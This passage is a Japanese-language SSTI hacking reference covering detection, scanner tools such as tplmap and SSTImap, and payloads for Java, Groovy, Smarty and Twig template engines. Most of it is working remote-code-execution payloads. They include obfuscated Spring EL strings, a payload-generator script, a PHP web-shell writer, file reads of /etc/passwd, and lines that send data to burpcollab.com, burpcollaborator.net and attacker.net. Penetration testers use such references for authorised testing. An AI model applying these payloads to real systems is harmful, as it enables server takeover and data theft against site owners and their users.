RootedCON は スペイン で最も重要なサイバーセキュリティイベントであり、ヨーロッパ で最も重要なイベントの一つです。技術知識の促進 を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。
What is SSTI (Server-Side Template Injection)
サーバーサイドテンプレートインジェクションは、攻撃者がサーバー上で実行されるテンプレートに悪意のあるコードを注入できるときに発生する脆弱性です。この脆弱性は、Jinjaを含むさまざまな技術で見つけることができます。
Jinjaは、ウェブアプリケーションで使用される人気のテンプレートエンジンです。Jinjaを使用した脆弱なコードスニペットを示す例を考えてみましょう:
Copy output = template . render (name = request.args. get ( 'name' ))
この脆弱なコードでは、ユーザーのリクエストからの name
パラメータが render
関数を使用してテンプレートに直接渡されます。これにより、攻撃者が name
パラメータに悪意のあるコードを注入する可能性があり、サーバーサイドテンプレートインジェクションにつながる可能性があります。
例えば、攻撃者は次のようなペイロードを含むリクエストを作成することができます:
Copy http://vulnerable-website.com/?name={{bad-stuff-here}}
The payload {{bad-stuff-here}}
は name
パラメータに注入されます。このペイロードには、攻撃者が不正なコードを実行したり、テンプレートエンジンを操作したりすることを可能にする Jinja テンプレートディレクティブが含まれる可能性があります。これにより、サーバーの制御を得ることができます。
サーバーサイドテンプレートインジェクションの脆弱性を防ぐために、開発者はユーザー入力がテンプレートに挿入される前に適切にサニタイズおよびバリデーションされていることを確認する必要があります。入力バリデーションを実装し、コンテキストに応じたエスケープ技術を使用することで、この脆弱性のリスクを軽減できます。
Detection
サーバーサイドテンプレートインジェクション (SSTI) を検出するために、最初に テンプレートをファジングする ことが簡単なアプローチです。これは、特別な文字のシーケンス (${{<%[%'"}}%\
) をテンプレートに注入し、通常のデータとこの特別なペイロードに対するサーバーの応答の違いを分析することを含みます。脆弱性の指標には以下が含まれます:
脆弱性を明らかにするエラーが発生し、潜在的にテンプレートエンジンが明らかになる。
反映にペイロードが存在しない、またはその一部が欠けている場合、サーバーがそれを通常のデータとは異なる方法で処理していることを示唆します。
プレーンテキストコンテキスト : サーバーがテンプレート式を評価するかどうかを確認することで XSS と区別します (例: {{7*7}}
, ${7*7}
)。
コードコンテキスト : 入力パラメータを変更することで脆弱性を確認します。例えば、http://vulnerable-website.com/?greeting=data.username
の greeting
を変更して、サーバーの出力が動的か固定かを確認します。例えば、greeting=data.username}}hello
がユーザー名を返すかどうかを確認します。
Identification Phase
テンプレートエンジンを特定するには、エラーメッセージを分析するか、さまざまな言語固有のペイロードを手動でテストします。エラーを引き起こす一般的なペイロードには ${7/0}
、{{7/0}}
、および <%= 7/0 %>
が含まれます。数学的操作に対するサーバーの応答を観察することで、特定のテンプレートエンジンを特定するのに役立ちます。
Tools
効率的な SSTI + CSTI スキャナーであり、新しいポリグロットを利用しています。
Copy tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
Copy python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
Copy python2 . 7 . / tplmap . py - u 'http://www.target.com/page?name=John*' --os - shell
python2 . 7 . / tplmap . py - u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2 . 7 . / tplmap . py - u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 - e jade
最も効率的なテンプレートインジェクションポリグロットと、44の最も重要なテンプレートエンジンの期待されるレスポンスを含むインタラクティブなテーブルです。
Exploits
Generic
このwordlist には、以下に示すいくつかのエンジンの環境で定義された変数 が含まれています:
Java
Java - 基本的なインジェクション
Copy ${ 7 * 7 }
${{ 7 * 7 }}
${ class . getClassLoader ()}
${ class . getResource ( "" ) . getPath ()}
${ class . getResource ( "../../../../../index.htm" ) . getContent ()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - システムの環境変数を取得する
Copy ${ T( java . lang . System ) . getenv ()}
Java - /etc/passwdを取得
Copy ${ T( java . lang . Runtime ) . getRuntime () . exec ( 'cat etc/passwd' )}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
あなたはhttps://try.freemarker.apache.org でペイロードを試すことができます。
Copy < #assign ex = "freemarker.template.utility.Execute" ?new ()>${ ex ( "id" )}
[#assign ex = 'freemarker.template.utility.Execute' ?new ()]${ ex( 'id' ) }
${ "freemarker.template.utility.Execute" ?new ()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - サンドボックスバイパス
⚠️ Freemarkerのバージョンが2.3.30未満の場合のみ動作します
Copy < #assign classloader = article . class . protectionDomain . classLoader >
< #assign owc = classloader . loadClass ( "freemarker.template.ObjectWrapper" ) >
< #assign dwf = owc . getField ( "DEFAULT_WRAPPER" ) . get ( null ) >
< #assign ec = classloader . loadClass ( "freemarker.template.utility.Execute" ) >
${ dwf . newInstance (ec , null )( "id" )}
詳細情報
Velocity (Java)
Copy // I think this doesn't work
# set($str = $class . inspect( "java.lang.String" ) . type )
# set($chr = $class . inspect( "java.lang.Character" ) . type )
# set($ex = $class . inspect( "java.lang.Runtime" ) . type . getRuntime() . exec( "whoami" ))
$ex . waitFor ()
# set($out = $ex . getInputStream())
# foreach($i in [1 .. $out . available()])
$str . valueOf ( $chr . toChars ( $out . read ()))
#end
// This should work?
# set($s = "" )
# set($stringClass = $s . getClass())
# set($runtime = $stringClass . forName( "java.lang.Runtime" ) . getRuntime())
# set($process = $runtime . exec( "cat%20/flag563378e453.txt" ))
# set($out = $process . getInputStream())
# set($ null = $process . waitFor() )
# foreach($i + in + [1 .. $out . available()])
$out . read ()
#end
More information
Thymeleaf
Thymeleafにおいて、SSTI脆弱性の一般的なテストは、式${7*7}
であり、これはこのテンプレートエンジンにも適用されます。リモートコード実行の可能性がある場合、次のような式が使用できます:
Copy ${ T( java . lang . Runtime ) . getRuntime () . exec ( 'calc' )}
Copy ${#rt = @ java.lang.Runtime@getRuntime () , # rt . exec ( "calc" )}
Thymeleafでは、これらの式を特定の属性内に配置する必要があります。ただし、_expression inlining_は他のテンプレートの場所でもサポートされており、[[...]]
や[(...)]
のような構文が使用できます。したがって、シンプルなSSTIテストペイロードは[[${7*7}]]
のようになります。
しかし、このペイロードが機能する可能性は一般的に低いです。Thymeleafのデフォルト設定では動的テンプレート生成がサポートされておらず、テンプレートは事前に定義されている必要があります。開発者は、文字列からテンプレートをオンザフライで作成するために独自のTemplateResolver
を実装する必要があり、これは一般的ではありません。
Thymeleafはまた、ダブルアンダースコア(__...__
)内の式を前処理する_式前処理_を提供しています。この機能は、Thymeleafのドキュメントに示されているように、式の構築に利用できます:
Copy #{ selection . __$ { sel . code }__}
Thymeleafにおける脆弱性の例
以下のコードスニペットを考えてみてください。これは悪用される可能性があります:
Copy < a th : href = "@{__${path}__}" th : title = "${title}" >
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
これは、テンプレートエンジンがこれらの入力を不適切に処理した場合、次のようなURLにアクセスするリモートコード実行につながる可能性があることを示しています:
Copy http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
詳細情報
EL - Expression Language Springフレームワーク (Java)
Copy * { T( org . apache . commons . io . IOUtils ) . toString ( T( java . lang . Runtime ) . getRuntime () . exec ( 'id' ) . getInputStream ())}
フィルターのバイパス
${...}
が機能しない場合は、#{...}
、*{...}
、@{...}
、または~{...}
を試してください。
Copy ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
Copy #!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list (argv[ 1 ]. strip ())
print ( "Payload: " , cmd , end = "\n\n" )
converted = [ ord (c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted :
if count == 1 :
base_payload += f "(T(java.lang.Character).toString( {i} ).concat"
count += 1
elif count == len (converted):
base_payload += f "(T(java.lang.Character).toString( {i} )))"
else :
base_payload += f "(T(java.lang.Character).toString( {i} )).concat"
count += 1
print (base_payload + end_payload)
詳細情報
Spring View Manipulation (Java)
Copy __ ${ new java . util . Scanner ( T( java . lang . Runtime ) . getRuntime () . exec ( "id" ) . getInputStream ()) . next ()}__ :: . x
__ ${ T( java . lang . Runtime ) . getRuntime () . exec ( "touch executed" )}__ :: . x
EL - Expression Language Pebble (Java)
{{ someString.toUPPERCASE() }}
Pebbleの古いバージョン ( < version 3.0.9):
Copy {{ variable . getClass () . forName ( 'java.lang.Runtime' ) . getRuntime () . exec ( 'ls -la' ) }}
新しいバージョンのPebble :
Copy { % set cmd = 'id' % }
{ % set bytes = ( 1 ) . TYPE
. forName ( 'java.lang.Runtime' )
. methods [ 6 ]
. invoke ( null , null )
. exec (cmd)
. inputStream
. readAllBytes () % }
{{ ( 1 ) . TYPE
. forName ( 'java.lang.String' )
. constructors [ 0 ]
. newInstance (([bytes]) . toArray ()) }}
Jinjava (Java)
Copy {{ 'a' . toUpperCase ()}} would result in 'A'
{{ request }} would return a request object like com . [ ... ] . context . TemplateContextRequest @ 23548206
JinjavaはHubspotによって開発されたオープンソースプロジェクトで、https://github.com/HubSpot/jinjava/ で入手可能です。
Jinjava - コマンド実行
https://github.com/HubSpot/jinjava/pull/230 によって修正されました。
Copy {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
詳細情報
Hubspot - HuBL (Java)
{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206
{{'a'.toUpperCase()}}
- "A"
{{'a'.concat('b')}}
- "ab"
{{'a'.getClass()}}
- java.lang.String
{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest
{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
"com.hubspot.content.hubl.context.TemplateContextRequest"を検索し、JinjavaプロジェクトをGithubで発見 。
Copy {{ request . isDebug ()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{ 'a' . getClass () . forName ( 'sun.misc.Launcher' ) . newInstance ()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{ 'a' . getClass () . forName ( 'com.hubspot.jinjava.JinjavaConfig' ) . newInstance ()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{ % % } and {{ }} blocks
{ % set ji = 'a' . getClass () . forName ( 'com.hubspot.jinjava.Jinjava' ) . newInstance () . newInterpreter () % }
{{ ji . render ( '{{1*2}}' )}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
詳細情報
表現言語 - EL (Java)
${{request}}, ${{session}}, {{faceContext}}
表現言語 (EL) は、JavaEEにおけるプレゼンテーション層(ウェブページなど)とアプリケーションロジック(マネージドビーンなど)との相互作用を促進する基本的な機能です。この通信を効率化するために、複数のJavaEE技術で広く使用されています。ELを利用する主要なJavaEE技術には以下が含まれます:
JavaServer Faces (JSF) : JSFページ内のコンポーネントを対応するバックエンドデータおよびアクションにバインドするためにELを使用します。
JavaServer Pages (JSP) : JSP内でデータにアクセスし操作するためにELが使用され、ページ要素をアプリケーションデータに接続しやすくします。
Java EEのためのコンテキストと依存性注入 (CDI) : ELはCDIと統合され、ウェブ層とマネージドビーン間のシームレスな相互作用を可能にし、より一貫したアプリケーション構造を確保します。
ELインタープリタの悪用 について詳しくは、以下のページを確認してください:
EL - Expression Language Groovy (Java)
以下のセキュリティマネージャーバイパスは、この書き込み から取得されました。
Copy //Basic Payload
import groovy . * ;
@ groovy.transform.ASTTest (value = {
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java . lang . Runtime . getRuntime () . exec ( cmd . split ( " " ))
})
def x
//Payload to get output
import groovy . * ;
@ groovy.transform.ASTTest (value = {
cmd = "whoami" ;
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out . replaceAll ( "[^a-zA-Z0-9]" , "" ) + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net" ;
java . lang . Runtime . getRuntime () . exec ( cmd2 . split ( " " ))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
RootedCON は スペイン で最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパ で最も重要なイベントの一つです。技術的知識の促進 を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。
Smarty (PHP)
Copy {$smarty . version}
{php} echo `id` ;{ / php} //deprecated in smarty v3
{ Smarty_Internal_Write_File :: writeFile ( $SCRIPT_NAME , "<?php passthru($_GET['cmd']); ?>" , self:: clearConfig ()) }
{ system ( 'ls' ) } // compatible v3
{ system ( 'cat index.php' ) } // compatible v3
詳細情報
Twig (PHP)
Copy #Get Info
{{ _self }} #(Ref. to current application)
{{ _self . env }}
{{ dump (app)}}
{{ app . request . server . all | join ( ',' )}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}" @
#Exec code
{{ _self . env . setCache ( "ftp://attacker.net:2121" )}}{{ _self . env . loadTemplate ( "backdoor" )}}
{{ _self . env . registerUndefinedFilterCallback ( "exec" )}}{{ _self . env . getFilter ( "id" )}}
{{ _self . env . registerUndefinedFilterCallback ( "system" )}}{{ _self . env . getFilter ( "whoami" )}}
{{ _self . env . registerUndefinedFilterCallback ( "system" )}}{{ _self . env . getFilter ( "id;uname -a;hostname" )}}
{{ [ 'id' ] | filter ( 'system' )}}
{{ [ 'cat\x20/etc/passwd' ] | filter ( 'system' )}}
{{ [ 'cat$IFS/etc/passwd' ] | filter ( 'system' )}}
{{ [ 'id' , "" ] | sort ( 'system' )}}
#Hide warnings and errors for automatic exploitation
{{ [ "error_reporting" , "0" ] | sort ( "ini_set" )}}
Twig - テンプレート形式
Copy $output = $twig > render (
'Dear' . $_GET[ 'custom_greeting' ] ,
array( "first_name" => $user . first_name)
) ;
$output = $twig > render (
"Dear {first_name}" ,
array( "first_name" => $user . first_name)
) ;
詳細情報
Plates (PHP)
PlatesはPHPにネイティブなテンプレートエンジンで、Twigからインスピレーションを得ています。しかし、Twigが新しい構文を導入するのに対し、Platesはテンプレート内でネイティブPHPコードを活用しており、PHP開発者にとって直感的です。
Controller:
Copy // Create new Plates instance
$templates = new League \ Plates \ Engine ( '/path/to/templates' );
// Render a template
echo $templates -> render ( 'profile' , [ 'name' => 'Jonathan' ] ) ;
ページテンプレート:
Copy <? php $this -> layout ( 'template' , [ 'title' => 'User Profile' ] ) ?>
< h1 > User Profile </ h1 >
< p > Hello , <?= $this -> e ( $name ) ?></ p >
レイアウトテンプレート:
Copy < html >
< head >
< title ><?=$this->e($title)?></ title >
</ head >
< body >
<?=$this->section('content')?>
</ body >
</ html >
詳細情報
PHPlib と HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB は PHPlib と同じですが、Pear に移植されています。
authors.tpl
Copy < html >
< head >< title >{PAGE_TITLE}</ title ></ head >
< body >
< table >
< caption >Authors</ caption >
< thead >
< tr >< th >Name</ th >< th >Email</ th ></ tr >
</ thead >
< tfoot >
< tr >< td